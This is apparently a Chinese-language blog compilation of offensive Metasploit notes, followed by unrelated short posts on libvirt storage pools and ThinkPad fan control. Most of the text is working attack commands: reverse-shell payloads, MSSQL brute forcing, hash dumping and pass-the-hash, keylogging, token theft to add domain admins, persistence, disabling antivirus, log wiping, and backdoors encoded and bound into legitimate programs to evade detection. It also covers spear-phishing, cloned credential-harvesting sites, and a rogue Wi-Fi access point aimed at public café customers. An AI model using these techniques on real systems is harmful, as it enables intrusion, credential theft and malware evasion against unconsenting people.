msf> use auxiliary/scanner/mssql/mssql_ping
show options
set RHOSTS 192.168.1.1/24
set THREADS 20
exploit

至此可获取服务器名称,版本号等信息。

msf> use auxiliary/scanner/mssql/mssql_login
show options
set PASS_FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt
set RHOSTS 192.168.1.130
set THREADS 10
set verbose false
exploit

暴力猜解登陆密码。接下来使用mssql自带的xp_cmdshell功能添加账户:

msf> use exploit/windows/mssql/mssql_payload
show options
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 433
set RHOST 192.168.1.130
set PASSWORD password130
exploit

当获取到一个meterpreter shell 后可以执行更多的操作:

获取屏幕截图:screenshot

获取系统信息:sysinfo

获取键盘记录:

meterpreter> ps  #查看目标机器进程,假设发现explorer.exe的进程号为1668:
meterpreter> migrate 1668 #插入该进程
meterpreter> run post/windows/capture/keylog_recorder #运行键盘记录模块,将击键记录保存到本地txt
cat /root/.msf3/loot/*****.txt #查看结果

获取系统账号密码:

meterpreter> use priv
meterpreter> run post/windows/gather/hashdump

当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆,需要使用pass-the-hash技术:

msf> use windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
set RHOST 192.168.1.130
set SMBPass aad3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit

获取到系统权限后我们可以新建一个普通账号,然后使用此账号执行我们的后门:

在目标机器上执行:net uaer hacker pass /add

本地生成一个后门程序:

msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443 X >payload.exe

将payload.exe拷贝到目标机器然后使用新建立的账号执行,本地执行端口监听,等待来自目标机器连接:

msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111 LPORT=443
use priv
getsystem
getuid

至此取得SYSTEM权限

2、令牌模拟:

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限,之后登陆其他机器时不需要登陆密码。

meterpreter> ps  # 查看目标机器进程,找出域控账户运行的进程ID,假如发现PID为380
meterpreter> steal_token 380
#有时ps命令列出的进程中可能不存在域控账户的进程,此时使用incognito模块查看可用token:
meterpreter> use incognito
meterpreter> list_tokens –u #列出可用token,假如找到域控token
meterpreter> impersonate_token SNEAKS.IN\\ihazdomainadmin
meterpreter> add_user hacker password –h 192.168.1.50 #在域控主机上添加账户
meterpreter> add_group_user “Domain Admins” hacker –h 192.168.1.50 #将账户添加至域管理员组

3、内网渗透:

当取得同网段内一台主机的权限后可以进一步渗透网内其他主机:

例子:

meterpreter> run get_local_subnets  #查看网段/子网
Local subnet: 192.168.33.0/255.255.255.0
meterpreter> background #转入后台运行
msf> route add 192.168.33.0 255.255.255.0 1 #本地添加路由信息
msf> route print #查看添加的信息
msf> use linux/samba/lsa_transnames_heap #准备向内网目标主机进攻
set payload linux/x86/shell/reverse_tcp
set LHOST 10.10.1.129 #此处为attacking主机的外网IP
set LPORT 8080
set RHOST 192.168.33.132 #内网目标主机
exploit

也可以使用自动式添加路由模块:

msf> load auto_add_route
msf> exploit

4、Meterpreter脚本:

使用run scriptname 方式执行

vnc脚本,获取远程机器vnc界面控制

meterpreter> run vnc
meterpreter> run screen_unlock

进程迁移

当攻击成功后将连接进程从不稳定进程(如使用浏览器溢出漏洞exp进行攻击时浏览器可能会被目标关闭)迁移至稳定进程(explorer.exe),保持可连接。

例子:

meterpreter> run post/windows/manage/migrate

(在64位win7中migrate需要管理员权限执行后门才能成功,而migrate前后获取的权限是有差异的。)

关闭杀毒软件

meterpreter> run killav   (这个脚本要小心使用,可能导致目标机器蓝屏死机。)

获取系统密码hash

meterpreter> run hashdump

(64位win7下需要管理员权限执行后门且先getsystem,然后使用

run  post/windows/gather/hashdump来dump hash成功率更高。

而且如果要使用shell添加系统账户的话win7下得先:

run post/windows/escalate/bypassuac  ,不然可能不会成功。)

获取系统流量数据

meterpreter> run packtrecorder –i 1

直捣黄龙

可以干很多事情:获取密码,下载注册表,获取系统信息等

meterpreter> run scraper

持久保持

当目标机器重启之后仍然可以控制

meterpreter> run persistence –X –i 50 –p 443 –r 192.168.1.111

-X 开机启动 -i连接超时时间 –p端口 –rIP

下次连接时:

msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set LPOST 443
set LHOST 192.168.1.111
exploit

(会在以下位置和注册表以随机文件名写入文件等信息,如:

C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs

C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe

HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

POST整合模块

可实现同时多个session操作

例子:获取hash

meterpreter> run post/windows/gather/hashdump

其他还有很多,使用TAB键补全看下就知道

5、升级command shell

例子:

msfconsole
msf> search ms08_067
msf> use windows/smb/ms08_067_netapi
set PAYLOAD windows/shell/reverse_tcp
set TARGET 3
setg LHOST 192.168.1.111
setg LPORT 8080
exploit –z #后台运行,如果此处未使用-z参数,后面可以按CTRL-Z转到后台
sessions –u 1 #升级shell,必须前面使用setg设定
sessions –i 2

6、使用Railgun操作windows APIs

例子:

meterpreter> irb
>>client.railgun.user32.MessageBoxA(o,”hello”,”world”,”MB_OK”)

在目标机器上会弹出一个标题栏为world和内容为hello的窗口

七.避开杀软

1、使用msfpayload创建可执行后门:

例子:

msfpayload windows/shell_reverse_tcp 0  #查看选项
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 X > /var/www/payload1.exe

然后本机监听端口

msf> use exploit/multi/handler
show options
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.1.111
set LPORT 31337
exploit

2、过杀软---使用msfencode编码后门:

msfencode –l #列出可用编码器

例子:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=31337 R |msfencode –e x86/shikata_ga_nai –t exe > /var/www/payload2.exe

使用 R参数作为raw输出至管道,再经过msfencode处理,最后导出。

3、多次编码:

例子:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=31337 R | \
msfencode –e x86/shikata_ga_nai –c 5 –t raw | \
msfencode –e x86/alpha_upper –c 2 –t raw | \
msfencode –e x86/shikata_ga_nai –c 5 –t raw | \
msfencode –e x86/countdown –c 5 –t exe –o /var/www/payload3.exe

简单编码被杀机会很大,使用多次编码效果更好,这里一共使用了17次循环编码。

(题外:经测试,1:使用此命令生成的后门也被MSE杀到;2:未编码的后门或编码次数较少的后门可以直接被秒杀;3:windows/x64/meterpreter/reverse_tcp生成的后门未经任何处理仍然不被杀,看来杀毒软件傻逼了;4:x86编码器编码的后门在64位机器上无法执行;5:360有个沙箱功能,后门文件右键选择“在360隔离沙箱中运行”,msf照样可以连接并操作,看来隔离沙箱功能有限。)

4、自定义可执行程序模板:

msfencode默认使用data/templates/templates.exe(msf v4在templates目录下有针对不同平台的不同模板)作为可执行程序的模板,杀毒厂商也不是傻逼,所以这里最好使用自定义模板,如:

wget http://download.sysinternals.com/Files/ProcessExplorer.zip
cd work
unzip ProcessExplorer.zip
cd ..
msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x work/procexp.exe –o /var/www/pe_backdoor.exe –e x86/shikata_ga_nai –c 5

在目标机器上运行,然后本地使用msfcli监听端口等待反弹连接:

msfcli exploit/multi/handler PAYLOAD=windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 E

5、暗度陈仓—猥琐执行payload:

绑定payload至一个可执行文件,让目标不知不觉间中招,以putty.exe为例:

msfpayload windows/shell_reverse_tcp LHOST=192.168.1.111 LPORT=8080 R | msfencode –t exe –x putty.exe -o /var/www/putty_backdoor.exe –e x86/shikata_ga_nai –k –c 5

假如选择一个GUI界面的程序作为绑定目标并且不使用-k选项,则目标执行此程序的时候不会弹出cmd窗口,-k选项的作用是payload独立于模板软件的进程运行。

6、加壳:

msfencode部分编码器会增加程序体积,这时可使用壳(packer)来压缩程序,“带套之后 更保险”,例如UPX :

apt-get install upx

最新版可到sf.net下载

使用方法:

upx -5 /var/www/payload3.exe

还有另外一个工具msfvenom结合了msfpayload和msfencode的功能,使用起来更省心,亲,一定要试试哦!过杀软总结起来就是多次编码和使用多种壳,终极大法就是使用自己编写的后门(市面上没有,被杀几率更低)。

八.使用用户端攻击方式(client-side attacks)

1、组合型攻击

主要指利用多种途径包括社会工程学方式攻击目标机器上安装的带有漏洞的程序如浏览 器,pdf阅读器,office软件等,最终获取系统权限。

基于浏览器的攻击:

例子:

msf> use windows/browser/ms10_002_aurora
set payload windows/meterpreter/reverse_tcp
set SRVPORT 80
set URIPATH /
set LHOST 192.168.1.111
set LPORT 443
exploit –z
sessions –i 1
run migrate

或者:

msf> use windows/browser/ms10_002_aurora
show advanced
set ReverseConnectRetries 10
set AutoRunScript migrate –f
exploit
use priv
getsystem

2、文件格式exploit

利用文件格式的漏洞达到溢出的目的,比如PDF,word,图片等。

例子:

msf> use windows/fileformat/ms11_006_createsizeddibsection
info
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit

此时会生成一个msf.doc的word文档,在目标机器上打开此文档,然后本机监听端口等待反弹连接:

use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.111
set LPORT 443
exploit –j

九.MSF 附加模块

包括端口扫描,服务探测,弱口令探测,fuzzer,sql注射等。附加模块没有payload。 模块保存在/opt/framework3/msf3/modules/auxiliary/目录中的各个子目录下。 可用命令查看全部可用附加模块:msf> show auxiliary

例子: o``` msf> use scanner/http/webdav_scanner info show options set RHOSTS 192.168.1.141,192.168.1.142,192.168.2.222 run


搜索所有http相关扫描模块:

`search scanner/http`


附加模块深层剖析:

cd /opt/framework3/msf3/modules/auxiliary/admin/ wget http://carnal0wnage.googlecode.com/svn/trunk/msf3/modules/auxiliary/admin/random/foursqueare.rb


代码分析:

```ruby
require ‘msf/core’
class Metasploit3 < Msf::Auxiliary #导入Auxiliaary类
#Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient #导入HTTPClient方法
include Msf::Auxiliary::Report

def initialize

super(
‘Name’ => ‘Foursquare Location Poster’,
‘Version’ => ‘$Revision:$’,
‘Description’ => ‘F*ck with Foursquare,be anywhere you want to be by venue id’,
‘Author’ => [‘CG’],
‘License’ => MSF_LICENSE,
‘References’ =>
[
[‘URL’,’http://groups.google.com/group/foursquare-api’],
[‘URL’,’http://www.mikekey.com/im-a-foursquare-cheater/’],
]
#todo pass in geocoords instead of venueid,create a venueid, other tom foolery

register_options(
[
Opt::RHOST(‘api.foursquare.com’),
OptString.new(‘VENUEID’,[true,’foursquare venueid’,’185675’]),
OptString.new(‘USERNAME’,[true,’foursquare username’,’username’]),
OptString.new(‘PASSWORD’,[true,’foursquare password’,’password’]),
],self.class)
end

def run
begin
user = datastore[‘USERNAME’]
pass = datasore[‘PASSWORD’]
venid = datastore[‘VENUEID’]
user_pass = Rex::Text.encode_base64(user + “:” + pass)
decode = Rex::Text.decode_base64(user_pass)
postrequest = “twitter=1\n” #add facebook=1 if you want facebook
print_status(“Base64 Encode User/Pass: #{user_pass}”) #debug
print_status(“Base64 Decode User/Pass: #{decode}”) #debug

res = send_request_cgi({
‘uri’ => “/v1/checkin?vid=#{venid}”,
‘version’ => “1.1”,
‘method’ => ‘POST’,
‘data’ => postrequest,
‘headers’ =>
{
‘Authorization’ => “Basic #{user_pass}”,
‘Proxy-Connection’ => “Keep-Alive”,
}
},25)

print_status(“#{res}”)
end

rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE =>e
pus e.message
end
end

ruby白痴一个,代码我也没看懂,不解释了

如何使用:

msf> search foursquare
msf> use admin/foursquare
set VENUEID 2584421
set USERNAME msf@elwood.net
set PASSWORD ilovemetasploit
run

十.社会工程学工具集(SET)

主要功能:hacking the human mind。

1、SET基本配置:

SET位于/pentest/exploits/set/目录

更新:

cd /pentest/exploits/set/
svn update

配置文件config/set_config,当使用基于web的攻击方式时可以将email功能打开:

vi config/set_config:
METASPLOIT_PATH=/opt/framework3/msf3
WEBATTACK_EMAIL=ON

使用Java applet attack进行攻击的时候默认使用Microsoft作为发布者名称,如果需要自定义则需要安装JDK并打开配置项:

SELF_SIGNED_APPLET=ON

SET默认打开AUTO_DETECT项,自动探测本机IP并用于攻击中的各项配置。如果本机是多网卡需要手动指定IP,则需将此项关闭:

AUTO_DETECT=OFF

SET默认使用内建的python提供的web server供使用,如需使用apache作为服务则需要本机安装apache并打开配置项:

APACHE_SERVER=ON

2、网络钓鱼攻击:

Spear-Phishing Attack Vector,利用文件格式漏洞(如PDF)等生成后门并通过email(GMAIL,SENDMAIL,)向目标发送带后门附件的电子邮件,诱使目标打开附件激活后门。

例子:

./set
此时选择菜单1.Spear-Phishing Attack Vectors
继续选择:1.Perform a Mass Email Attack
选择exploit:8.Adobe Collab.collectEmailInfo Buffer Overflow
选择payload:4.Windows Reverse TCP Shell
选择是否更改文件名:1.Keep the filename
选择发送邮件方式1.Email Attack Single Email Address
选择邮件模板1.Pre-Defined Template
5.Status Report
输入收件方email地址:webmanager@exmaple.com
选择发件方式:1.Use a GMAIL Account for your email attack
输入发件gmail和密码
选择是否立即监听端口等待连接:yes

此时SET会使用刚才的设定全自动监听指定端口。

3、WEB方式攻击:

SET可以克隆一个网站并植入后门以此迷惑目标打开此网站并中招。

  • Java Applet方式:最成功的方式之一,并不是利用java的漏洞,而是当目标浏览含后门的仿冒站点时会被询问是否允许执行web中的java applet,一旦点击允许则payload开始运行,目标将被重定向到真实的网站。
  • 用户端(Client-side)web exploit方式:利用用户端存在的软件漏洞,一般使用0day进行攻击的效果最好。
  • 账号密码获取(Username and Password Harvesting):通过克隆一个目标站并诱使攻击目标登陆,截获其账号密码。例如截获GMAIL密码。
  • 标签页绑架(Tabnabbing):当目标打开多个标签页浏览网站并切换标签页时,网站侦测到目标的行为并显示让目标等待的信息,恰好目标打开了被绑架的标签页并要求在相似程度惊人的网站里输入登陆凭据,当目标输入之后登陆信息即被截获,同时被重定向到真实网站。
  • 中间人攻击(Man-Left-in-the-Middle):此方式使用已经被攻陷的网站的HTTP请求或者网站的XSS漏洞让用户的登陆信息发送至攻击者的HTTP服务器。如果你发现了一个网站的XSS漏洞,可以利用此漏洞构造一个url发送给目标诱使其打开并登陆以截获登陆信息。
  • Web Jacking:当目标打开我们的网站时会有一个链接显示为正确的web地址,此时若目标打开此仿冒链接会被定向到我们的仿冒网站,其登陆信息会被截获。
  • 混合模式(multi-attack):可同时使用以上多种攻击手段以提高成功率。
  • 介质感染攻击(Infectious Media Generator):可以让你生成一张光盘或者u盘,里面包含autorun.inf来运行指定的后门文件或者file-format漏洞文件。
  • 迷你USB人机接口设备(Teensy USB HID):当电脑插入USB设备且autorun.inf被禁用时,可使用此方法将USB设备模拟成一个键盘或鼠标设备,进而截获目标机器的击键记录。

SET其他特殊功能:

包括SET交互式shell,可用来替代meterpreter;远程管理工具(RATTE);HTTP隧道,当目标主机只开放HTTP端口对外放行时可通过此功能与主机进行通信;WEB-GUI,包含了常用攻击和无线攻击向导,输入./set-web即可运行。

(SET新版本变动较大,请自行摸索。)

十一.FAST-TRACK

Fast-Track和SET一样都是python编写的,同样是使用MSF提供的payload以及用户端攻击向导等,作为对MSF的补充,它提供了如MSSQL攻击,更多的exploit,浏览器攻击向导等。fasttrack位于/pentest/exploits/fasttrack/。

交互式模式:./fast-track.py -i

命令行模式:./fast-track.py -c

Web界面模式:./fast-track.py -g

1、MSSQL工具:

MSSQL注入漏洞攻击:

攻击时你只需要输入有注入漏洞的url地址,地址里面用INJECTHERE标识可注入字段,如http://example.com/show.asp?id=INJECTHERE&date=2012,fast-track会全自动注入,一旦成功会给你返回一个cmd shell。 注入也支持POST参数,如果是POST的话更加简单,只需要你输入url地址,fast-track会自动判断并尝试进行注入。

SQL暴力破解:另外一个实用的功能是暴力破解器(MSSQL Bruter),可以寻找mssql弱口令,一旦获取到一个sa权限的访问权限,将自动返回一个shell。

SQL注入批量扫描器(SQLPwnage):此功能可扫描指定网段的所有打开80端口的主机,并扫描是否存在sql注入点,一旦发现注入点将自动尝试攻击并通过xp_cmdshell获取系统权限。

2、Binary-HEX 转换器:

当你已经进入一个系统且需要上传可执行文件上去,就可以使用这个工具将可执行的二 进制文件转换为HEX十六进制编码,然后复制粘贴过去即可。

3、批量用户端攻击:

和浏览器攻击差不多,但是增加了对目标的ARP缓冲区和DNS感染(只能是在测试者 和目标处于同一网段的情况下),以及MSF里面没有的浏览器溢出exploit。当目标浏览 恶意网站的时候,fast-track尝试着使用所有的exp对目标机器进行溢出,一旦某个exp 起作用将获取到目标机器的控制权限。

(新版本fasttrack中还加入了Autopwn Automation、Nmap Scripting Engine、Exploits、Payload Generator等新功能。)

脚本化的工具有时确实能减少很多工作时间,但是不能完全依赖于这类自动程度很高的工具,特别是在用这些工具搞不定目标的时候,手工测试的能力往往才是王道,细节决定成败。

十二.KARMERASPLOIT

Karmetasploit = Karma + Metasploit,也可以说成它是MSF的KARMA实现。

Karma和MSF一样也是使用ruby语言编写的,其功能是建立一个虚假的无线接入点,等待目标连接上钩。与MSF结合可实现更强大的功能。Karmetasploit集成了DNS,POP3,IMAP4,SMTP,FTP,SMB,HTTP等服务用于攻击,模块位于modules/auxiliary/server目录下。

基本配置:

需要的配置不多,首先需要配置一个DHCP服务为目标提供动态IP分配,配置文件:

option domain-name-servers 10.0.0.1;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 10.0.0.1;
}

将配置文件保存在/etc/dhcp3/dhcpd.conf

下一步下载karma msf脚本:

wget http://www.offensive-security.com/downloads/karma.rc
#将网卡激活为监听模式:
airmon-ng start wlan0
#创建伪装接入点,-P 可被扫描到,-C 信号发射速率,-e 接入点名称(需要具有欺骗性),-v 指定网卡,mon0为上一步完成后生成的:
airbase-ng -P -C 30 -e "China-Net-Free" -v mon0
#此时会生成一个名为at0的新网卡接口。
#接着打开DHCP服务:
ifconfig at0 up 10.0.0.1 netmask 255.255.255.0
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
#检查是否成功启动:
ps aux|grep dhcpd
tail -f /var/log/messages

#下一步加载karma脚本:
msf> resource karma.rc

等待收获:

当对方打开邮件客户端并登陆收取邮件,那么他的账户密码将被截获,因为他所连接的DNS和POP3都是虚假的。 当对方打开浏览器准备浏览网页时karma开始截取cookie,建立虚假email,DNS等服务,加载exploits来对付客户端浏览器,如果走运的话可以获取到shell。 总结:建议这招可以拿到麦当劳,星巴克用,效果更好。

十三.构建自己的模块,编写自己的exploit,meterpreter脚本编程

这三章留着后面看,需要有ruby基础等编程基础。

十四.渗透实战演习

首先需要下载并安装一个专门用来练习渗透的虚拟机Metasploitable:

http://updates.metasploit.com/data/Metasploitable.zip.torrent

虚拟机IP:172.16.32.162 用户名密码:msfadmin

WINXP:172.16.32.131 开放80端口 有防火墙

情报收集:

nmap -sT -P0 172.16.32.131

msfconsole:

cd /opt/framework3/msf3/
msfconsole
msf> use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 172.15.32.129
set lport 443
load auto_add_route
exploit -j

run getgui -e -f 8080
shell
net user msf msf /add
net localgroup administrators msf /add
upload nmap.exe
nmap.exe -sT -A -P0 172.16.32.162
msf> use auxiliary/scanner/ftp/ftp_version
set RHOSTS 172.16.32.162
run

msf> use auxiliary/scanner/smtp/smtp_version
set RHOSTS 172.16.32.162
run

search tomcat_mgr_login
set rhosts 172.16.32.162
set threads 50
set rport 8180
set verbose false
run

use multi/http/tomcat_mgr_deploy
set password tomcat
set username tomcat
set rhost 172.16.32.162
set lport 9999
set rport 8180
set payload linux/x86/shell_bind_tcp
exploit

search distcc_exec
set payload linux/x86/shell_reverse_tcp
set lhost 172.16.32.129
set rhost 172.16.32.162
show payloads
set payload cmd/unix/reverse
exploit

十五.常用命令备忘

MSFconsole Commands

  • show exploits 查看所有exploit
  • show payloads 查看所有payload
  • show auxiliary 查看所有auxiliary
  • search name 搜索exploit等
  • info 查看加载模块的信息
  • use name 加载模块
  • LHOST 本机IP
  • RHOST 目标IP
  • set function 设置选项值
  • setg function 全局设置
  • show options 查看选项
  • show targets 查看exp可选的平台
  • set target num 设置exp作用平台
  • set payload payload 设置payload
  • show advanced 查看高级选项
  • set autorunscript migrate -f 设置自动执行指令
  • check 测试是否可利用
  • exploit 执行exp或模块
  • exploit -j 作为后台执行
  • exploit -z 成功后不立即打开session
  • exploit -e encoder 指定encoder
  • exploit -h 查看帮助信息
  • sessions -l -v 列出可用sessions详细信息
  • sessions -s script 在指定session执行脚本
  • sessions -K 结束session
  • sessions -c cmd 执行指定命令
  • sessions -u sessionID 升级shell
  • db_create name 创建数据库
  • db_connect name 连接数据库
  • db_nmap nmap扫描并导入结果
  • db_autopwn -h 查看autopwn帮助
  • db_autopwn -p -r -e 基于端口,反弹shell
  • db_destroy 删除数据库

Meterpreter Commands

  • help 查看帮助
  • run scriptname 运行脚本
  • sysinfo 系统基本信息
  • ls 列目录
  • use priv 运行提权组件
  • ps 列进程
  • migrate PID PID迁移
  • use incognito token窃取
  • list_tokens -u 查看可用用户token
  • list_tokens -g 查看可用组token
  • impersonate_token DOMAIN_NAME\USERNAME 模仿token
  • steal_token PID 窃取PID所属token并模仿
  • drop_token 停止模仿token
  • getsystem 获取SYSTEM权限
  • shell 运行shell
  • execute -f cmd.exe -i 交互式运行cmd
  • execute -f cmd.exe -i -t 使用可用token运行
  • execute -f cmd.exe -i -H -t 同上,同时隐藏进程
  • rev2self 返回至初始用户
  • reg command 修改注册表
  • setkesktop number 切换至另一已登录用户屏幕
  • screenshot 截屏
  • upload file 上传文件
  • download file 下载文件
  • keyscan_start 开始截取击键记录
  • keyscan_stop 停止截取击键记录
  • getprivs 尽可能提升权限
  • uictl enable keyboard/mouse 获取键盘或鼠标的控制权
  • background 将当前meterpreter shell转入后台
  • hashdump 导出所有用户hash
  • use sniffer 加载嗅探模块
  • sniffer_interfaces 查看可用网卡接口
  • sniffer_dump interfaceID pcapname 开始嗅探
  • sniffer_start interfaceID packet-buffer 指定buffer范围嗅探
  • sniffer_stats interfaceID 抓取统计信息
  • sniffer_stop interfaceID 停止嗅探
  • add_user username password -h ip 添加用户
  • add_group_user "Domain Admins" username -h ip 添加用户至管理组
  • clearev 清空日志
  • timestomp 改变文件属性如创建时间等
  • reboot 重启

MSFpayload Commands

  • msfpayload -h 查看帮助
  • msfpayload windows/meterpreter/bind_tcp 0 查看指定payload可用选项
  • msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X > payload.exe 生成payload.exe
  • msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R > payload.raw 保存为RAW格式,可用于msfencode
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c 保存为C格式
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java 保存为java格式

MSFencode Commands

  • msfencode -h 查看帮助
  • msfencode -l 查看可用encoder
  • msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho) 以指定格式显示编码后的buffer
  • msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe 生成编码后的exe
  • msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c 生成纯字符格式C类型shellcode
  • msfpayload windows/meterpreter/bind_tcp LPORT=443 R |
    msfencode -e x86/countdown -c 5 -t raw |
    msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe 多编码器结合,多次编码

MSFcli Commands

  • msfcli | grep exploit 只显示exploit
  • msfcli | grep exploit/windows 只显示windows exploit
  • msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 RHOST=172.16.32.26 E 针对指定IP加载指定exp并设定payload

MSF,Ninja,Fu

* msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 使用calc.exe作为模板,生成经过编码的后门
* msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R | msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe 与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息
* msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E 生成编码后的payload并开始监听本机端口

MSFvenom

  • msfvenom --payload 自动生成payload

Meterpreter Post Exploitation Commands

提权一般步骤

meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group "Domain Admins" msf /add /DOMAIN

获取hash一般步骤

meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump

如果是在win2008系统上:

meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop

使用Incognito提权

meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\\Administrator

查看保护机制并禁用之

meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
  • meterpreter> run checkvm 检查是否是虚拟机
  • meterpreter> shell 转入命令行
  • meterpreter> run vnc 远程VNC控制
  • meterpreter> background 转入后台
  • meterpreter> run post/windows/escalate/bypassuac 执行Bypass UAC
  • meterpreter> run post/osx/gather/hashdump 在OS X系统上dump hash
  • meterpreter> run post/linux/gather/hashdump 在Linux 系统上dump hash

libvirt中storage pool的管理

· 阅读需 2 分钟

简单演示如何在libvirt中创建storage pool

libvirt提供了存储管理的功能,可以管理的存储类型有 目录 lvm逻辑卷 磁盘 iscsi存储 scsi存储 mpath netfs等,这里以最基本的目录类型为例

基本概念:

在libvirt里保存虚拟机磁盘镜像的目录或设备称作存储池 即pool ,每个虚拟机所使用的虚拟磁盘镜像称作卷 即vol ,vol是存储在pool里面的。

我们可以使用命令行的virsh工具来管理,pool有两种基本状态:活动和非活动,查看当前存储池的状态

virsh # pool-list --all 
Name State Autostart
-----------------------------------------
default inactive yes
disk active yes

新建一个基于目录的存储池bigpool 存储路径为 /bigpool

virsh # pool-define-as bigpool dir - - - - /bigpool
Pool bigpool defined

这时候pool仅仅是定义出来了,可以用pool-list --all查看到。但是相应的目录是不存在的,接着需要建立这个pool

virsh # pool-build bigpool
Pool bigpool built

这个时候才是真正的建立起这个pool,libvirt会自动创建/bigpool目录,并设置相应的权限,如果你有用selinux作为libvirt的安全措施的话它还能自动设置上下文

# ls -Zld /bigpool/
drwx------ 2 ? root root 4096 Jul 13 12:54 /bigpool/

我这里由于没有使用selinux所以没有上下文的

pool创建好之后就可以启动了

virsh # pool-start bigpool
Pool bigpool started

virsh # pool-list --all
Name State Autostart
-----------------------------------------
bigpool active no
default inactive yes
disk active yes

还可以设置pool为自动启动

virsh # pool-autostart bigpool
Pool bigpool marked as autostarted

virsh # pool-list --all
Name State Autostart
-----------------------------------------
bigpool active yes
default inactive yes
disk active yes

基于目录的一个存储池就这样建立完成了,是不是很简单?

如何让ThinkPad自定义风扇转速

· 阅读需 3 分钟

笔记本长期处于高强度高负荷工作状态,手放到出风口的时候差点被烫伤,再不调整下恐怕到了夏天是彻底扛不住了。于是网上搜了下资料,还好thinkpad一直都有黑客在用...

还好thinkpad一直都有黑客在用,因此也不缺乏内核级别的支持,下面记录下配置方法,怕今后再要捣鼓的时候忘记。首先thinkpad有一个专用的acpi驱动叫thinkpad_acpi的内核模块,这个在centos里面已经自带了,它的项目地址http://ibm-acpi.sf.net/。上面有列出支持哪些哪些型号哪些功能。

你可以通过lsmod命令查看是否已经加载了此模块:

lsmod|grep think

这个模块加载之后可以通过proc内的文件来查看风扇的运行状态:

cat /proc/acpi/ibm/fan

如果有,那么进入下一步,添加模块的加载选项,创建模块配置文件:

[root@server ~]# vi /etc/modprobe.d/thinkpad_acpi.conf
[root@server ~]# cat /etc/modprobe.d/thinkpad_acpi.conf
options thinkpad_acpi experimental=1 fan_control=1

上面的配置将打开自定义风扇转速的开关。

这个时候需要重新加载模块:

modprobe -r thinkpad_acpi && modprobe thinkpad_acpi

然后再查看下proc里面fan文件的状态:

cat /proc/acpi/ibm/fan

此时你会发现,信息有变化。

[root@server ~]# cat /proc/acpi/ibm/fan
status: enabled
speed: 5485
level: auto
commands: level <level> (<level> is 0-7, auto, disengaged, full-speed)
commands: enable, disable
commands: watchdog <timeout> (<timeout> is 0 (off), 1-120 (seconds))

然后我们就可以通过command来控制风扇的转速啦,auto表示自动,disengaged和full-speed一个效果,也可以设置0-7的等级,0表示停止,感兴趣可以试试,反正我不敢试,

echo "level  full-speed"  > /proc/acpi/ibm/fan

注意level和full-speed之间只有一个空格..

再查看fan文件的状态,或者听听风扇转动的声音,你就会发现有明显的变化了,如果模块没有添加fan_control=1的参数的话往/proc/acpi/ibm/fan里面echo信息是不会成功的,会报如下错误:

[root@server ~]# echo "level 5" > /proc/acpi/ibm/fan
bash: echo: write error: Invalid argument

总结:风扇使劲转起来了,再也不用担心手被烫伤了!

OpenVPN+MySQL环境搭建记录

